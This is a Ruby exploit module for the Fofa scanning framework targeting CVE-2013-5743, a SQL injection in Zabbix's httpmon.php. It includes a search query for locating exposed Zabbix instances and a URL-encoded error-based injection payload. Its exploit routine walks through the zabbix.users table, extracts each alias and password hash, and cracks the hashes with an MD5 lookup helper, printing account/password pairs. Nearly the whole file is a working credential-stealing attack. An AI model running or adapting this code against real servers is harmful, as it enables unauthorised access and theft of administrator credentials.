require 'fofa_core'
require 'payload/crackmd5'
include CrackMd5

class FofaExploits < Fofa::Exploit
  def initialize(info = {})
    super(
      'Name' => 'Zabbix httpmon SQL注入漏洞',
      'Description' => %q{
Zabbix是流行的网络监控系统，在开启guest用户的情况下，不用任何权限就可以通过httpmon进行SQL注入，最终导致命令执行。
          },
      'Author' =>
          [
              'LubyRuffy',
          ],
      'Product' => 'Zabbix',
      'Homepage' => 'http://www.zabbix.com/',
      'References' =>
          [
              ['CVE', '2013-5743'],
          ],
      'DisclosureDate'=> '2013-09-11',
      'FofaQuery'=>'body="images/general/zabbix.ico"',
      'ScanSteps' =>
          [
            {
              'Request'=>
                 {
                    method: 'GET',
                    uri: '/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29',
                    data: '',
                 },
              'ResponseTest'=> {
                  type: 'group',
                  operation: 'AND',
                  checks: [
                    {
                        type: 'item',
                        varibale: '$code',
                        operation: '==',
                        value: 200
                    },
                    {
                      type: 'item',
                      varibale: '$body',
                      operation: 'contains',
                      value: 'Duplicate entry'
                    }
                  ]
              }
            },
          ]
    )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
    def get_account_index(index = 0)
      "/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%20#{index},1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29"
    end

    if vulnerable(hostinfo)
      index = 0

      while true
        uri = get_account_index(index)
        response = Fofa::HttpRequest::row_http(hostinfo, {
              method: 'GET',
              uri: uri,
              data: '',
          })
        info = response[:utf8html].string_between_markers('Duplicate entry \'', '\'')
        unless info
          break
        end

        info = info.split('~')

        password = crackmd5(info[1])
        unless password
          puts "no md5 result found: #{info[1]}"
        else
          puts "account is #{info[0]}/#{password}"
        end


        index+=1
      end
    else
      puts "not valnerable!"
    end
  end

end
